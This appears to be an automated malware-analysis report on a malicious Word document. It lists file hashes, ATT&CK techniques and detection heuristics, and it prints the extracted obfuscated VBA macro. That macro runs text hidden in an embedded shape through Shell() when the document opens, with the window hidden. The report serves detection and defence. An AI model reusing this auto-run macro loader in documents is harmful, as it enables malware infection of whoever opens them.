Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6eb5a3263f2a962c…

MALICIOUS

Office (OLE)

78.5 KB Created: 2018-11-08 23:11:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: fbd9a293419ae649b70aacc05f66c229 SHA-1: ad4e812dd97eb8271fcb8e1ecd1368682e2b7199 SHA-256: 6eb5a3263f2a962c9fc10e8fe64b5cea55f625e0fc72fcbe3077315e95cd2ac3
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The sample contains a VBA macro that utilizes the Shell() function to execute a PowerShell command. This PowerShell command decodes a Base64 string and then executes it, likely to download and run a second-stage payload. The presence of the 'Document_Open' macro and the 'Shell()' call strongly indicate malicious intent for initial execution upon opening the document.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6923159-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6923159-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
       TimeValue (PuFQC + TvCzf + rszzQ + NuoUwM) + kLIjz + TMKMBr + CuOpc + jTwJu + kSpYk + zszSNL + DDLMj + wItqTf
    jvjzIh = Shell("" + qCRWji + LIJOYz + Shapes(iYbYoX + YSUPODt + 1 + YiSRtjCl + DiSzRuzA).TextFrame.TextRange.Text + nhSLkwO + JIPzZ, 37942782 - 37942782)
       FormatNumber NIkoZ + NioCFU / VPCAi + qPHju + odQkn + tzAjqP - (CAUoW + ttLnuF)
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_open()
    On Error Resume Next
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 999 bytes
SHA-256: 8ebe6b0f545f37572fbd184cf4e0ee73019e82705796ce31e1f903e7308f352d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "FcjqFZRjD"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   FormatNumber (TvwFwf + ZwPYMZ + CvAIW + jbvwoF) + (ikiTL + pBuMBM)
   FormatNumber cjzlBN + Odina + Dzakj + dYPUG * dwDrc + slDVL
   TimeValue Lwpoah + GPuJS * (mcVTM + sUXQS + BIuoM + ncDVFo / pnhLNB + YViQQk + zEMoh + QZYiR)
   TimeValue (PuFQC + TvCzf + rszzQ + NuoUwM) + kLIjz + TMKMBr + CuOpc + jTwJu + kSpYk + zszSNL + DDLMj + wItqTf
jvjzIh = Shell("" + qCRWji + LIJOYz + Shapes(iYbYoX + YSUPODt + 1 + YiSRtjCl + DiSzRuzA).TextFrame.TextRange.Text + nhSLkwO + JIPzZ, 37942782 - 37942782)
   FormatNumber NIkoZ + NioCFU / VPCAi + qPHju + odQkn + tzAjqP - (CAUoW + ttLnuF)
   FormatNumber (YJBFb + TkKztA + MWBoY + vjAWak + BbcpWf + OUozb)
End Sub